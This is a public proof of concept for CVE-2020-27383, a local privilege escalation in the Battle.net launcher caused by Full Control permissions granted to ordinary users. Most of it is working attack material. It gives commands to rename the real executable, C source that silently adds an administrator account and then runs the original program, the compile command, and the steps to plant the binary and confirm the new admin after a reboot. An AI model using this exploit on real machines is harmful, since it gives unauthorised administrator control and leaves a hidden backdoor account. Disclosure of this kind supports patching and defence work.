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CVE/Battle Net Launcher Local Privilege Escalation
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| # Exploit Title: Battle.Net 1.27.1.12428 Local Privilege Escalation | |
| # Date: 10-09-2020 | |
| # Exploit Author: George Tsimpidas | |
| # Software Link : https://www.blizzard.com/en-gb/download/ ( Battle Net Desktop ) | |
| # Version Patch: 1.27.1.12428 | |
| # Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362 | |
| # Category: local | |
| # CVE : CVE-2020-27383 | |
| Vulnerability Description: | |
| Battle.net.exe suffers from an elevation of | |
| privileges vulnerability which can be used by an "Authenticated User" to modify the | |
| existing executable file with a binary of his choice. The vulnerability exist due to weak set of permissions | |
| being granted to the "Authenticated Users Group" which grants the (F) Flag aka "Full Control" | |
| #PoC | |
| C:\Program Files (x86)>icacls Battle.net | |
| Battle.net BUILTIN\Users:(OI)(CI)(F) | |
| BUILTIN\Administrators:(OI)(CI)(F) | |
| CREATOR OWNER:(OI)(CI)(F) | |
| ## Insecure File Permission | |
| C:\Program Files (x86)\Battle.net>icacls "Battle.net.exe" | |
| Battle.net.exe BUILTIN\Users:(I)(F) | |
| BUILTIN\Administrators:(I)(F) | |
| FREY-OMEN\30698:(I)(F) | |
| ## Local Privilege Escalation Proof of Concept | |
| #0. Download & install | |
| #1. Create low privileged user & change to the user | |
| ## As admin | |
| C:\>net user lowpriv Password123! /add | |
| C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full" | |
| User name lowpriv | |
| Local Group Memberships *Users | |
| Global Group memberships *None | |
| #2. Move the Service EXE to a new name | |
| C:\Program Files (x86)\Battle.net> whoami | |
| frey-omen\30698 | |
| C:\Program Files (x86)\Battle.net> move Battle.net.exe Battle.frey.exe | |
| 1 file(s) moved. | |
| #3. Create malicious binary on kali linux | |
| ## Add Admin User C Code | |
| kali# cat addAdmin.c | |
| int main(void){ | |
| system("net user placebo mypassword /add"); | |
| system("net localgroup Administrators placebo /add"); | |
| WinExec("C:\\Program Files (x86)\\Battle.net\\Battle.frey.exe>",0); | |
| return 0; | |
| } | |
| ## Compile Code | |
| kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Battle.net.exe | |
| #4. Transfer created 'Battle.net.exe' to the Windows Host | |
| #5. Move the created 'Battle.net.exe' binary to the 'C:\Program Files (x86)\Battle.net>' Folder | |
| C:\Program Files (x86)\Battle.net> move C:\Users\lowpriv\Downloads\Battle.net.exe . | |
| #6. Check that exploit admin user doesn't exists | |
| C:\Program Files (x86)\Battle.net> net user placebo | |
| The user name could not be found | |
| #6. Reboot the Computer | |
| C:\Program Files (x86)\Battle.net> shutdown /r | |
| #7. Login & look at that new Admin | |
| C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr /v "Full" | |
| User name placebo | |
| Local Group Memberships *Administrators *Users | |
| Global Group memberships *None |